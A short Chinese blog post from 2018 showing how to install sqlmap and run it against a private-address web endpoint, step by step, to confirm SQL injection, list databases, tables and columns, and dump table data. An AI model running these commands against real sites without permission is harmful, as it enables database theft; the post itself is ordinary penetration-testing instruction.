利用sqlmap注入测试

安装:
yum install -y git
cd /usr/local && git clone https://github.com/sqlmapproject/sqlmap.git
cd /usr/local/sqlmap

--检查是否可以注入
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch

如果可以注入,结果是类似这个样子

--获取数据库中有哪些库
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch --dbs

--获取当前URL用的是哪个库
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch --current-db

--获取库中有哪些表
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch -D test_db --tables

--获取表中有哪些字段
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch -D test_db -T test_table --columns

--获取表中字段的数据
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch -D test_db -T test_table -C 'id,name' --dump

 注意:在测过一次后,再次测试时需要将上次测试的记录删掉。路径为:/root/.sqlmap/output

参考地址:https://www.cnblogs.com/cc11001100/p/7634049.html

posted @ 2018-10-18 09:38  缤纷世界  阅读(1756)  评论(0编辑  收藏  举报